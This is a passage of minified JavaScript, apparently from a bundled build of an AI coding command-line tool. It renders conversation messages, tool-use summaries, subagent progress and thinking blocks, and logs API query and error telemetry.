A=s(2),K=cK("app:toggleTranscript","Global","ctrl+o"),q;if(A[0]!==K)q=IQA.createElement(S,{marginY:1},IQA.createElement(V,{dimColor:!0},"✻ Conversation compacted (",K," for history)")),A[0]=K,A[1]=q;else q=A[1];return q}var IQA;var W7K=k(()=>{cA();mA();Vz();IQA=o($A(),1)});var aD2;var D7K=k(()=>{cA();mA();hf();uK();aD2=o($A(),1)});function j7K({message:A,tools:K,normalizedMessages:q,resolvedToolUseIDs:Y,erroredToolUseIDs:z,inProgressToolUseIDs:w,shouldAnimate:H}){let J=K.find((_)=>_.name===A.toolName);if(!J?.renderGroupedToolUse)return null;let O=new Map;for(let _ of A.results)for(let G of _.message.content)if(G.type==="tool_result")O.set(G.tool_use_id,{param:G,output:_.toolUseResult});let X=A.messages.map((_)=>{let G=_.message.content[0],Z=O.get(G.id);return{param:G,isResolved:Y.has(G.id),isError:z.has(G.id),isInProgress:w.has(G.id),progressMessages:Cr(q.filter((W)=>W.type==="progress"&&W.parentToolUseID===G.id)),result:Z}}),$=X.some((_)=>_.isInProgress);return J.renderGroupedToolUse(X,{shouldAnimate:H&&$,tools:K})}var M7K=()=>{};function sD2(A){let K=s(27),{content:q,tools:Y,normalizedMessages:z,resolvedToolUseIDs:w,erroredToolUseIDs:H,inProgressToolUseIDs:J,shouldAnimate:O,theme:X}=A,$,_;if(K[0]!==q||K[1]!==H||K[2]!==J||K[3]!==z||K[4]!==w||K[5]!==O||K[6]!==X||K[7]!==Y){_=Symbol.for("react.early_return_sentinel");A:{let G;if(K[10]!==q)G=(r)=>r.name===q.name,K[10]=q,K[11]=G;else G=K[11];let Z=Y.find(G);if(!Z){_=null;break A}let W;if(K[12]!==q.id||K[13]!==w)W=w.has(q.id),K[12]=q.id,K[13]=w,K[14]=W;else W=K[14];let D=W,j;if(K[15]!==q.id||K[16]!==H)j=H.has(q.id),K[15]=q.id,K[16]=H,K[17]=j;else j=K[17];let M=j,P;if(K[18]!==q.id||K[19]!==J)P=J.has(q.id),K[18]=q.id,K[19]=J,K[20]=P;else P=K[20];let f=P,N;if(K[21]!==q.id)N=(r)=>r.type==="user"&&r.message.content.some((c)=>c.type==="tool_result"&&c.tool_use_id===q.id),K[21]=q.id,K[22]=N;else N=K[22];let T=z.find(N),C=T?.type==="user"?T.toolUseResult:void 0,R=Z.outputSchema?.safeParse(C),x=R?.success?R.data:void 0,y=Z.inputSchema.safeParse(q.input),B=y.success?y.data:void 0,b=Z.userFacingName(B),F=B?Z.renderToolUseMessage(B,{theme:X,verbose:!1}):null,Q=O&&f,u=!D,d;if(K[23]!==M||K[24]!==Q||K[25]!==u)d=W0.default.createElement(ps,{shouldAnimate:Q,isUnresolved:u,isError:M}),K[23]=M,K[24]=Q,K[25]=u,K[26]=d;else d=K[26];$=W0.default.createElement(S,{key:q.id,flexDirection:"column",marginTop:1},W0.default.createElement(S,{flexDirection:"row"},d,W0.default.createElement(V,{bold:!0},b),F&&W0.default.createElement(V,null,"(",F,")"),B&&Z.renderToolUseTag?.(B)),D&&!M&&x!==void 0&&W0.default.createElement(S,null,Z.renderToolResultMessage(x,[],{verbose:!1,tools:Y,theme:X})))}K[0]=q,K[1]=H,K[2]=J,K[3]=z,K[4]=w,K[5]=O,K[6]=X,K[7]=Y,K[8]=$,K[9]=_}else $=K[8],_=K[9];if(_!==Symbol.for("react.early_return_sentinel"))return _;return $}function P7K(A){let K=s(52),{message:q,resolvedToolUseIDs:Y,erroredToolUseIDs:z,inProgressToolUseIDs:w,shouldAnimate:H,verbose:J,tools:O,normalizedMessages:X,isActiveGroup:$}=A,{searchCount:_,readCount:G,replCount:Z,messages:W}=q,[D]=I4(),j;if(K[0]!==z||K[1]!==q){let y;if(K[3]!==z)y=(B)=>z.has(B),K[3]=z,K[4]=y;else y=K[4];j=JWA(q).some(y),K[0]=z,K[1]=q,K[2]=j}else j=K[2];let M=j;if(J){let y;if(K[5]!==W){y=[];for(let b of W)if(b.type==="assistant")y.push(b);else if(b.type==="grouped_tool_use")y.push(...b.messages);K[5]=W,K[6]=y}else y=K[6];let B;if(K[7]!==z||K[8]!==w||K[9]!==X||K[10]!==Y||K[11]!==H||K[12]!==D||K[13]!==y||K[14]!==O)B=W0.default.createElement(S,{flexDirection:"column"},y.map((b)=>{let F=b.message.content[0];if(F?.type!=="tool_use")return null;return W0.default.createElement(sD2,{key:F.id,content:F,tools:O,normalizedMessages:X,resolvedToolUseIDs:Y,erroredToolUseIDs:z,inProgressToolUseIDs:w,shouldAnimate:H,theme:D})})),K[7]=z,K[8]=w,K[9]=X,K[10]=Y,K[11]=H,K[12]=D,K[13]=y,K[14]=O,K[15]=B;else B=K[15];return B}if(_===0&&G===0&&Z===0)return null;let P;if(K[16]!==$||K[17]!==G||K[18]!==Z||K[19]!==_){if(P=[],_>0){let y=$?"Searching for":"Searched for",B;if(K[21]!==_)B=W0.default.createElement(V,{bold:!0},_),K[21]=_,K[22]=B;else B=K[22];let b=_===1?"pattern":"patterns",F;if(K[23]!==y||K[24]!==B||K[25]!==b)F=W0.default.createElement(V,{key:"search"},y," ",B," ",b),K[23]=y,K[24]=B,K[25]=b,K[26]=F;else F=K[26];P.push(F)}if(G>0){let y=$?P.length===0?"Reading":"reading":P.length===0?"Read":"read";if(P.length>0){let Q;if(K[27]===Symbol.for("react.memo_cache_sentinel"))Q=W0.default.createElement(V,{key:"comma"},", "),K[27]=Q;else Q=K[27];P.push(Q)}let B;if(K[28]!==G)B=W0.default.createElement(V,{bold:!0},G),K[28]=G,K[29]=B;else B=K[29];let b=G===1?"file":"files",F;if(K[30]!==y||K[31]!==B||K[32]!==b)F=W0.default.createElement(V,{key:"read"},y," ",B," ",b),K[30]=y,K[31]=B,K[32]=b,K[33]=F;else F=K[33];P.push(F)}if(Z>0){let y=$?"REPL'ing":"REPL'd";if(P.length>0){let Q;if(K[34]===Symbol.for("react.memo_cache_sentinel"))Q=W0.default.createElement(V,{key:"comma2"},", "),K[34]=Q;else Q=K[34];P.push(Q)}let B;if(K[35]!==Z)B=W0.default.createElement(V,{bold:!0},Z),K[35]=Z,K[36]=B;else B=K[36];let b=Z===1?"time":"times",F;if(K[37]!==y||K[38]!==B||K[39]!==b)F=W0.default.createElement(V,{key:"repl"},y," ",B," ",b),K[37]=y,K[38]=B,K[39]=b,K[40]=F;else F=K[40];P.push(F)}if($){let y;if(K[41]===Symbol.for("react.memo_cache_sentinel"))y=W0.default.createElement(V,{key:"ellipsis"},"…"),K[41]=y;else y=K[41];P.push(y)}K[16]=$,K[17]=G,K[18]=Z,K[19]=_,K[20]=P}else P=K[20];let f=!!$,N=!!$,T;if(K[42]!==M||K[43]!==f||K[44]!==N)T=W0.default.createElement(ps,{shouldAnimate:f,isUnresolved:N,isError:M}),K[42]=M,K[43]=f,K[44]=N,K[45]=T;else T=K[45];let C;if(K[46]===Symbol.for("react.memo_cache_sentinel"))C=W0.default.createElement(mI,null),K[46]=C;else C=K[46];let R;if(K[47]!==P)R=W0.default.createElement(V,null,P," ",C),K[47]=P,K[48]=R;else R=K[48];let x;if(K[49]!==T||K[50]!==R)x=W0.default.createElement(S,{flexDirection:"row",marginTop:1},T,R),K[49]=T,K[50]=R,K[51]=x;else x=K[51];return x}var W0;var V7K=k(()=>{cA();mA();JW1();ca();XB();W0=o($A(),1)});function tD2({message:A,messages:K,addMargin:q,tools:Y,commands:z,verbose:w,erroredToolUseIDs:H,inProgressToolUseIDs:J,resolvedToolUseIDs:O,progressMessagesForMessage:X,shouldAnimate:$,shouldShowDot:_,style:G,width:Z,isTranscriptMode:W,onOpenRateLimitOptions:D,isActiveCollapsedGroup:j,isUserContinuation:M=!1,lastThinkingBlockId:P,latestBashOutputUUID:f}){switch(A.type){case"attachment":return z9.createElement(H7K,{addMargin:q,attachment:A.attachment,verbose:w});case"assistant":return z9.createElement(S,{flexDirection:"column",width:"100%"},A.message.content.map((N,T)=>z9.createElement(Aj2,{key:T,param:N,addMargin:q,tools:Y,commands:z,verbose:w,erroredToolUseIDs:H,inProgressToolUseIDs:J,resolvedToolUseIDs:O,progressMessagesForMessage:X,shouldAnimate:$,shouldShowDot:_,width:Z,inProgressToolCallCount:J.size,isTranscriptMode:W,messages:K,onOpenRateLimitOptions:D,thinkingBlockId:`${A.uuid}:${T}`,lastThinkingBlockId:P})));case"user":{let N=0,T=f===A.uuid,C=z9.createElement(S,{flexDirection:"column",width:"100%"},A.message.content.map((R,x)=>{let y;if(R.type==="image")y=A.imagePasteIds?.[N],N++;return z9.createElement(eD2,{key:x,message:A,addMargin:q,tools:Y,progressMessagesForMessage:X,param:R,style:G,verbose:w,imageIndex:y??N,isUserContinuation:M,messages:K})}));return T?z9.createElement(eZ7,null,C):C}case"system":if(A.subtype==="compact_boundary")return z9.createElement(Z7K,null);if(A.subtype==="microcompact_boundary")return null;if(A.subtype==="local_command")return z9.createElement(I3A,{addMargin:q,param:{type:"text",text:A.content},verbose:w});return z9.createElement(_7K,{message:A,addMargin:q,verbose:w});case"grouped_tool_use":return z9.createElement(j7K,{message:A,tools:Y,normalizedMessages:K,resolvedToolUseIDs:O,erroredToolUseIDs:H,inProgressToolUseIDs:J,shouldAnimate:$});case"collapsed_read_search":return z9.createElement(P7K,{message:A,resolvedToolUseIDs:O,erroredToolUseIDs:H,inProgressToolUseIDs:J,shouldAnimate:$,verbose:w,tools:Y,normalizedMessages:K,isActiveGroup:j})}}function eD2(A){let K=s(18),{message:q,addMargin:Y,tools:z,progressMessagesForMessage:w,param:H,style:J,verbose:O,imageIndex:X,isUserContinuation:$,messages:_}=A,{columns:G}=f8();switch(H.type){case"text":{let Z;if(K[0]!==Y||K[1]!==q.planContent||K[2]!==q.thinkingMetadata||K[3]!==H||K[4]!==O)Z=z9.createElement(I3A,{addMargin:Y,param:H,verbose:O,thinkingMetadata:q.thinkingMetadata,planContent:q.planContent}),K[0]=Y,K[1]=q.planContent,K[2]=q.thinkingMetadata,K[3]=H,K[4]=O,K[5]=Z;else Z=K[5];return Z}case"image":{let Z=Y&&!$,W;if(K[6]!==X||K[7]!==Z)W=z9.createElement(fP1,{imageId:X,addMargin:Z}),K[6]=X,K[7]=Z,K[8]=W;else W=K[8];return W}case"tool_result":{let Z=G-5,W;if(K[9]!==q||K[10]!==_||K[11]!==H||K[12]!==w||K[13]!==J||K[14]!==Z||K[15]!==z||K[16]!==O)W=z9.createElement(fI7,{param:H,message:q,messages:_,progressMessagesForMessage:w,style:J,tools:z,verbose:O,width:Z}),K[9]=q,K[10]=_,K[11]=H,K[12]=w,K[13]=J,K[14]=Z,K[15]=z,K[16]=O,K[17]=W;else W=K[17];return W}default:return}}function Aj2(A){let K=s(29),{param:q,addMargin:Y,tools:z,commands:w,verbose:H,erroredToolUseIDs:J,inProgressToolUseIDs:O,resolvedToolUseIDs:X,progressMessagesForMessage:$,shouldAnimate:_,shouldShowDot:G,width:Z,inProgressToolCallCount:W,isTranscriptMode:D,messages:j,onOpenRateLimitOptions:M,thinkingBlockId:P,lastThinkingBlockId:f}=A,N;if(K[0]===Symbol.for("react.memo_cache_sentinel"))N=!1,K[0]=N;else N=K[0];let T=N;switch(q.type){case"tool_use":{let C;if(K[1]!==Y||K[2]!==w||K[3]!==J||K[4]!==W||K[5]!==O||K[6]!==j||K[7]!==q||K[8]!==$||K[9]!==X||K[10]!==_||K[11]!==G||K[12]!==z||K[13]!==H)C=z9.createElement(kI7,{param:q,addMargin:Y,tools:z,commands:w,verbose:H,erroredToolUseIDs:J,inProgressToolUseIDs:O,resolvedToolUseIDs:X,progressMessagesForMessage:$,shouldAnimate:_,shouldShowDot:G,inProgressToolCallCount:W,messages:j}),K[1]=Y,K[2]=w,K[3]=J,K[4]=W,K[5]=O,K[6]=j,K[7]=q,K[8]=$,K[9]=X,K[10]=_,K[11]=G,K[12]=z,K[13]=H,K[14]=C;else C=K[14];return C}case"text":{let C;if(K[15]!==Y||K[16]!==M||K[17]!==q||K[18]!==G||K[19]!==Z)C=z9.createElement(Z4K,{param:q,addMargin:Y,shouldShowDot:G,width:Z,onOpenRateLimitOptions:M}),K[15]=Y,K[16]=M,K[17]=q,K[18]=G,K[19]=Z,K[20]=C;else C=K[20];return C}case"redacted_thinking":{if(!D&&!H&&!T)return null;let C;if(K[21]!==Y)C=z9.createElement(q7K,{addMargin:Y}),K[21]=Y,K[22]=C;else C=K[22];return C}case"thinking":{if(!D&&!H&&!T)return null;let R=D&&!(!f||P===f)&&!T,x;if(K[23]!==Y||K[24]!==D||K[25]!==q||K[26]!==R||K[27]!==H)x=z9.createElement(NP1,{addMargin:Y,param:q,isTranscriptMode:D,verbose:H,hideInTranscript:R}),K[23]=Y,K[24]=D,K[25]=q,K[26]=R,K[27]=H,K[28]=x;else x=K[28];return x}default:return KA(Error(`Unable to render message type: ${q.type}`)),null}}function Kj2(A,K){if(A.message.uuid!==K.message.uuid)return!1;if(A.lastThinkingBlockId!==K.lastThinkingBlockId)return!1;let q=A.latestBashOutputUUID===A.message.uuid,Y=K.latestBashOutputUUID===K.message.uuid;if(q!==Y)return!1;if(A.isStatic&&K.isStatic)return!0;return!1}var z9,fv;var x3A=k(()=>{cA();mA();C1();i6();NI7();CI7();W4K();MP1();KI6();qI6();Y7K();uK();J7K();G7K();W7K();D7K();M7K();V7K();OM6();z9=o($A(),1);fv=z9.memo(tD2,Kj2)});function f7K(A){let K=s(31),{agentType:q,description:Y,toolUseCount:z,tokens:w,color:H,isLast:J,isResolved:O,isAsync:X,lastToolInfo:$,hideType:_}=A,G=X===void 0?!1:X,Z=_===void 0?!1:_,W=J?"└─":"├─",D=G&&O,j;if(K[0]!==D||K[1]!==O||K[2]!==$)j=()=>{if(!O)return $||"Initializing…";if(D)return N9.createElement(V,null,"Running in the background"," ",N9.createElement(M6,{shortcut:"↓",action:"manage",parens:!0}));return"Done"},K[0]=D,K[1]=O,K[2]=$,K[3]=j;else j=K[3];let M=j,P=!O,f;if(K[4]!==q||K[5]!==H||K[6]!==Y||K[7]!==Z)f=Z?N9.createElement(V,{bold:!0},Y||q):N9.createElement(N9.Fragment,null,N9.createElement(V,{bold:!0,backgroundColor:H,color:H?"inverseText":void 0},q),Y&&N9.createElement(V,null," (",Y,")")),K[4]=q,K[5]=H,K[6]=Y,K[7]=Z,K[8]=f;else f=K[8];let N;if(K[9]!==D||K[10]!==w||K[11]!==z)N=!D&&N9.createElement(N9.Fragment,null," · ",z," tool ",z===1?"use":"uses",w!==null&&N9.createElement(N9.Fragment,null," · ",g5(w)," tokens")),K[9]=D,K[10]=w,K[11]=z,K[12]=N;else N=K[12];let T;if(K[13]!==P||K[14]!==f||K[15]!==N||K[16]!==W)T=N9.createElement(S,{paddingLeft:3},N9.createElement(V,{dimColor:P},W," ",f,N)),K[13]=P,K[14]=f,K[15]=N,K[16]=W,K[17]=T;else T=K[17];let C=!O,R=J?" ":"│",x;if(K[18]!==C||K[19]!==R)x=N9.createElement(V,{dimColor:C},R),K[18]=C,K[19]=R,K[20]=x;else x=K[20];let y;if(K[21]!==M)y=M(),K[21]=M,K[22]=y;else y=K[22];let B;if(K[23]!==y)B=N9.createElement(k6,null,N9.createElement(V,{dimColor:!0},y)),K[23]=y,K[24]=B;else B=K[24];let b;if(K[25]!==x||K[26]!==B)b=N9.createElement(S,{paddingLeft:3,flexDirection:"row"},x,B),K[25]=x,K[26]=B,K[27]=b;else b=K[27];let F;if(K[28]!==b||K[29]!==T)F=N9.createElement(S,{flexDirection:"column"},T,b),K[28]=b,K[29]=T,K[30]=F;else F=K[30];return F}var N9;var N7K=k(()=>{cA();mA();Eq();nK();N9=o($A(),1)});function Yj2(A,K){let q=A.data.message;if(q.type==="assistant")return HmA(q.message.content[0],K);if(q.type==="user"){let Y=q.message.content[0];if(Y?.type==="tool_result"){let z=Y.tool_use_id;for(let w of A.data.normalizedMessages)if(w.type==="assistant"){let H=w.message.content.find((J)=>J.type==="tool_use"&&J.id===z);if(H)return HmA(H,K)}}}return null}function zj2(A,K,q){return A.map((H)=>({type:"original",message:H}));function w(H){if(z&&(z.searchCount>0||z.readCount>0||z.replCount>0))Y.push({type:"summary",searchCount:z.searchCount,readCount:z.readCount,replCount:z.replCount,uuid:`summary-${z.startUuid}`,isActive:H});z=null}}function SQA(A){let K=s(3),{prompt:q,dim:Y}=A,z;if(K[0]===Symbol.for("react.memo_cache_sentinel"))z=y6.createElement(V,{color:"success",bold:!0},"Prompt:"),K[0]=z;else z=K[0];let w;if(K[1]!==q)w=y6.createElement(S,{flexDirection:"column"},z,y6.createElement(S,{paddingLeft:2},y6.createElement(PO,null,q))),K[1]=q,K[2]=w;else w=K[2];return w}function HI6(A){let K=s(5),{content:q}=A,Y;if(K[0]===Symbol.for("react.memo_cache_sentinel"))Y=y6.createElement(V,{color:"success",bold:!0},"Response:"),K[0]=Y;else Y=K[0];let z;if(K[1]!==q)z=q.map(Jj2),K[1]=q,K[2]=z;else z=K[2];let w;if(K[3]!==z)w=y6.createElement(S,{flexDirection:"column"},Y,z),K[3]=z,K[4]=w;else w=K[4];return w}function Jj2(A,K){return y6.createElement(S,{key:K,paddingLeft:2,marginTop:K===0?0:1},y6.createElement(PO,null,A.text))}function T7K(A,K,{tools:q,verbose:Y,theme:z}){if(A.status==="async_launched"){let{prompt:D}=A;return y6.createElement(S,{flexDirection:"column"},y6.createElement(k6,{height:1},y6.createElement(V,null,"Backgrounded agent",!Y&&y6.createElement(V,{dimColor:!0}," (",y6.createElement(Y8,null,y6.createElement(M6,{shortcut:"↓",action:"manage"}),D&&y6.createElement(Q6,{action:"app:toggleTranscript",context:"Global",fallback:"ctrl+o",description:"expand"})),")"))),Y&&D&&y6.createElement(k6,null,y6.createElement(SQA,{prompt:D,theme:z})))}if(A.status==="teammate_spawned"){if(b8())return null;let D=A,j=D.color?LJ[D.color]:void 0;return y6.createElement(V,null," ",j?y6.createElement(V,{color:j},uY):null,j?" ":"",y6.createElement(V,{dimColor:!0},"spawned ",D.name,D.is_splitpane?" (split-pane)":""))}if(A.status!=="completed")return null;let{agentId:w,totalDurationMs:H,totalToolUseCount:J,totalTokens:O,usage:X,content:$,prompt:_}=A,Z=`Done (${[J===1?"1 tool use":`${J} tool uses`,g5(O)+" tokens",$O(H)].join(" · ")})`,W=WL({content:Z,usage:X});return y6.createElement(S,{flexDirection:"column"},!1,Y&&_&&y6.createElement(k6,null,y6.createElement(SQA,{prompt:_,theme:z})),Y?y6.createElement(mBA,null,K.map((D)=>y6.createElement(k6,{key:D.uuid},y6.createElement(fv,{message:D.data.message,messages:D.data.normalizedMessages,addMargin:!1,tools:q,commands:[],verbose:Y,erroredToolUseIDs:new Set,inProgressToolUseIDs:new Set,resolvedToolUseIDs:new Set,progressMessagesForMessage:K,shouldAnimate:!1,shouldShowDot:!1,isTranscriptMode:!1,isStatic:!0})))):null,Y&&$&&$.length>0&&y6.createElement(k6,null,y6.createElement(HI6,{content:$,theme:z})),y6.createElement(k6,{height:1},y6.createElement(fv,{message:W,messages:n2([W]),addMargin:!1,tools:q,commands:[],verbose:Y,erroredToolUseIDs:new Set,inProgressToolUseIDs:new Set,resolvedToolUseIDs:new Set,progressMessagesForMessage:[],shouldAnimate:!1,shouldShowDot:!1,isTranscriptMode:!1,isStatic:!0})))}function v7K({description:A,prompt:K,name:q,team_name:Y}){if(b8()&&Y&&q)return`spawn: ${q}`;if(!A||!K)return null;return A}function E7K(A){let K=[];if(A.resume)K.push(y6.createElement(S,{key:"resume",flexWrap:"nowrap",marginLeft:1},y6.createElement(V,{dimColor:!0},"resuming ",A.resume)));if(A.model){let q=cz(A.model),Y=J3();if(q!==Y)K.push(y6.createElement(S,{key:"model",flexWrap:"nowrap",marginLeft:1},y6.createElement(V,{dimColor:!0},HM(q))))}if(K.length===0)return null;return y6.createElement(y6.Fragment,null,K)}function zMA(A,{tools:K,verbose:q,terminalSize:Y,inProgressToolCallCount:z}){if(!A.length)return y6.createElement(k6,{height:1},y6.createElement(V,{dimColor:!0},Oj2));let w=(z??1)*wj2+Hj2,H=!q&&Y&&Y.rows&&Y.rows<w,J=()=>{let G=A.filter((D)=>{return D.data.message.message.content.some((M)=>M.type==="tool_use")}).length,Z=[...A].reverse().find((D)=>D.data.message.type==="assistant"),W=null;if(Z?.data.message.type==="assistant"){let D=Z.data.message.message.usage;W=(D.cache_creation_input_tokens??0)+(D.cache_read_input_tokens??0)+D.input_tokens+D.output_tokens}return{toolUseCount:G,tokens:W}};if(H){let{toolUseCount:G,tokens:Z}=J();return y6.createElement(k6,{height:1},y6.createElement(V,{dimColor:!0},"In progress… · ",y6.createElement(V,{bold:!0},G)," tool"," ",G===1?"use":"uses",Z&&` · ${g5(Z)} tokens`," ·"," ",y6.createElement(Q6,{action:"app:toggleTranscript",context:"Global",fallback:"ctrl+o",description:"expand",parens:!0})))}let O=zj2(A,K,!0),X=q?O:O.slice(-qj2),$=O.length-X.length,_=A[0]?.data.prompt;return y6.createElement(k6,null,y6.createElement(S,{flexDirection:"column"},y6.createElement(mBA,null,q&&_&&y6.createElement(S,{marginBottom:1},y6.createElement(SQA,{prompt:_})),X.map((G)=>{if(G.type==="summary"){let Z=KP6(G.searchCount,G.readCount,G.isActive,G.replCount);return y6.createElement(S,{key:G.uuid,height:1,overflow:"hidden"},y6.createElement(V,{dimColor:!0},Z))}return y6.createElement(S,{key:G.message.uuid,height:1,overflow:"hidden"},y6.createElement(fv,{message:G.message.data.message,messages:G.message.data.normalizedMessages,addMargin:!1,tools:K,commands:[],verbose:q,erroredToolUseIDs:new Set,inProgressToolUseIDs:new Set,resolvedToolUseIDs:hQA(A),progressMessagesForMessage:A,shouldAnimate:!1,shouldShowDot:!1,style:"condensed",isTranscriptMode:!1,isStatic:!0}))})),$>0&&y6.createElement(V,{dimColor:!0},"+",$," more tool ",$===1?"use":"uses"," ",y6.createElement(mI,null))))}function k7K(A,{progressMessagesForMessage:K,tools:q,verbose:Y}){let z=K[0]?.data?.agentId;return y6.createElement(y6.Fragment,null,!1,zMA(K,{tools:q,verbose:Y}),y6.createElement(u9,null))}function C7K(A,{progressMessagesForMessage:K,tools:q,verbose:Y}){return y6.createElement(y6.Fragment,null,zMA(K,{tools:q,verbose:Y}),y6.createElement(C3,{result:A,verbose:Y}))}function Xj2(A){let K=A.filter((z)=>{let w=z.data.message;return w.type==="user"&&w.message.content.some((H)=>H.type==="tool_result")}).length,q=[...A].reverse().find((z)=>z.data.message.type==="assistant"),Y=null;if(q?.data.message.type==="assistant"){let z=q.data.message.message.usage;Y=(z.cache_creation_input_tokens??0)+(z.cache_read_input_tokens??0)+z.input_tokens+z.output_tokens}return{toolUseCount:K,tokens:Y}}function L7K(A,K){let{shouldAnimate:q,tools:Y}=K,z=A.map(({param:D,isResolved:j,isError:M,progressMessages:P,result:f})=>{let N=Xj2(P),T=$j2(P,Y),C=XI6.safeParse(D.input),R=C.success?JI6(C.data):"Task",x=C.success?C.data.description:void 0,y=C.success?OI6(C.data):void 0,B=C.success&&"run_in_background"in C.data&&C.data.run_in_background===!0,b=f?.output?.status==="async_launched",F=B||b,Q=C.success&&!!C.data.name||f?.output?.status==="teammate_spawned";return{id:D.id,agentType:R,description:x,toolUseCount:N.toolUseCount,tokens:N.tokens,isResolved:j,isError:M,isAsync:F,isTeammateSpawn:Q,color:y,lastToolInfo:T}}),w=z.filter((D)=>D.isTeammateSpawn).length,H=b8()?z.filter((D)=>!D.isTeammateSpawn):z,J=b8()?A.filter((D,j)=>!z[j]?.isTeammateSpawn):A,O=J.some((D)=>!D.isResolved),X=J.some((D)=>D.isError),$=!O,_=H.length>0&&H.every((D)=>D.agentType===H[0]?.agentType),G=_?H[0]?.agentType:null,Z=H.every((D)=>D.isAsync),W=b8()&&w>0?y6.createElement(S,{flexDirection:"row",marginTop:1},y6.createElement(ps,{shouldAnimate:!1,isUnresolved:!1,isError:!1}),y6.createElement(V,{dimColor:!0},"Created ",y6.createElement(V,{bold:!0},w)," ",w===1?"teammate":"teammates")):null;if(H.length===0)return W;return y6.createElement(S,{flexDirection:"column"},W,y6.createElement(S,{flexDirection:"column",marginTop:1},y6.createElement(S,{flexDirection:"row"},y6.createElement(ps,{shouldAnimate:q&&O,isUnresolved:O,isError:X}),y6.createElement(V,null,$?y6.createElement(y6.Fragment,null,y6.createElement(V,{bold:!0},J.length)," ",G?`${G} agents`:"agents"," ",Z?"launched":"finished"):y6.createElement(y6.Fragment,null,"Running ",y6.createElement(V,{bold:!0},J.length)," ",G?`${G} agents`:"agents","…")," "),y6.createElement(mI,null)),H.map((D,j)=>y6.createElement(f7K,{key:D.id,agentType:D.agentType,description:D.description,toolUseCount:D.toolUseCount,tokens:D.tokens,color:D.color,isLast:j===H.length-1,isResolved:D.isResolved,isError:D.isError,isAsync:D.isAsync,shouldAnimate:q,lastToolInfo:D.lastToolInfo,hideType:_}))))}function JI6(A){if(b8()&&A?.name)return"";if(A?.subagent_type&&A.subagent_type!==iJ1.agentType)return A.subagent_type;return"Task"}function OI6(A){if(!A?.subagent_type)return;return vGA(A.subagent_type)}function $j2(A,K){let q=[...A].reverse().find((Y)=>{let z=Y.data.message;return z.type==="user"&&z.message.content.some((w)=>w.type==="tool_result")});if(q?.data.message.type==="user"){let Y=q.data.message.message.content.find((z)=>z.type==="tool_result");if(Y?.type==="tool_result"){let z=Y.tool_use_id,w=A.find((H)=>{let J=H.data.message;return J.type==="assistant"&&J.message.content.some((O)=>O.type==="tool_use"&&O.id===z)});if(w?.data.message.type==="assistant"){let H=w.data.message.message.content.find((J)=>J.type==="tool_use"&&J.id===z);if(H?.type==="tool_use"){let J=K.find((_)=>_.name===H.name);if(!J)return H.name;let O=H.input,X=J.inputSchema.safeParse(O),$=J.userFacingName(X.success?X.data:void 0);if(J.getToolUseSummary){let _=J.getToolUseSummary(X.success?X.data:void 0);if(_)return`${$}: ${_}`}return $}}}}return null}var y6,qj2=3,wj2=9,Hj2=7,Oj2="Initializing…";var vP1=k(()=>{cA();mA();__();J0();hf();JL();Eq();x3A();$8();$8();R_6();t9();aZ();RXA();ca();nK();q5();Dq();JW1();N7K();dZ1();PDA();YK();XB();K7();y6=o($A(),1)});function R7K(A){let K=A.trim();if(!K.startsWith("/"))return null;let Y=K.slice(1).split(" ");if(!Y[0])return null;let z=Y[0],w=!1,H=1;if(Y.length>1&&Y[1]==="(MCP)")z=z+" (MCP)",w=!0,H=2;let J=Y.slice(H).join(" ");return{commandName:z,args:J,isMcp:w}}function EP1(A,K,q,Y,z){let w=0;for(let H of px){let J=q[H];if(!J)continue;for(let O of J)for(let X of O.hooks){let $=X.once?()=>{h(`Removing one-shot hook for event ${H} in skill '${Y}'`),uM7(A,K,H,X)}:void 0;c_1(A,K,H,O.matcher||"",X,$,z),w++}}if(w>0)h(`Registered ${w} hooks from skill '${Y}'`)}var $I6=k(()=>{j$A();yp();Z1()});function _j2(A){if(A instanceof r7){let K=A.error;if(K?.error?.message)return K.error.message}return A instanceof Error?A.message:String(A)}function _I6(A){let K=new Set;A.forEach((q,Y)=>K.add(Y));for(let[q,Y]of Object.entries(Gj2))if(Y.prefixes?.some((z)=>Array.from(K).some((w)=>w.startsWith(z))))return q;return}function GI6(){return{...process.env.ANTHROPIC_BASE_URL?{baseUrl:process.env.ANTHROPIC_BASE_URL}:{},...process.env.ANTHROPIC_MODEL?{envModel:process.env.ANTHROPIC_MODEL}:{},...process.env.ANTHROPIC_SMALL_FAST_MODEL?{envSmallFastModel:process.env.ANTHROPIC_SMALL_FAST_MODEL}:{}}}function y7K(){if(!{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.BUILD_TIME)return;let A=new Date({ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.BUILD_TIME).getTime();if(isNaN(A))return;return Math.floor((Date.now()-A)/60000)}function I7K({model:A,messagesLength:K,temperature:q,betas:Y,permissionMode:z,querySource:w,queryTracking:H,effortValue:J}){n("tengu_api_query",{model:A,messagesLength:K,temperature:q,provider:Bb(),buildAgeMins:y7K(),...Y?.length?{betas:Y.join(",")}:{},permissionMode:z,querySource:w,...H?{queryChainId:H.chainId,queryDepth:H.depth}:{},effortValue:J,...GI6()})}function S7K({error:A,model:K,messageCount:q,messageTokens:Y,durationMs:z,durationMsIncludingRetries:w,attempt:H,requestId:J,didFallBackToNonStreaming:O,promptCategory:X,headers:$,queryTracking:_,querySource:G,llmSpan:Z}){let W=void 0;if(A instanceof r7&&A.headers)W=_I6(A.headers);else if($)W=_I6($);let D=_j2(A),j=A instanceof r7?String(A.status):void 0,M=$37(A),P=mxA(A);if(P){let N=P.isSSLError?" (SSL error)":"";h(`Connection error details: code=${P.code}${N}, message=${P.message}`,{level:"error"})}KA(A),n("tengu_api_error",{model:K,error:D,status:j,errorType:M,messageCount:q,messageTokens:Y,durationMs:z,durationMsIncludingRetries:w,attempt:H,provider:Bb(),requestId:J||void 0,didFallBackToNonStreaming:O,...X?{promptCategory:X}:{},...W?{gateway:W}:{},..._?{queryChainId:_.chainId,queryDepth:_.depth}:{},...G?{querySource:G}:{},...GI6()}),uG("api_error",{model:K,error:D,status_code:String(j),duration_ms:String(z),attempt:String(H)}),SP6(Z,{success:!1,statusCode:j?parseInt(j):void 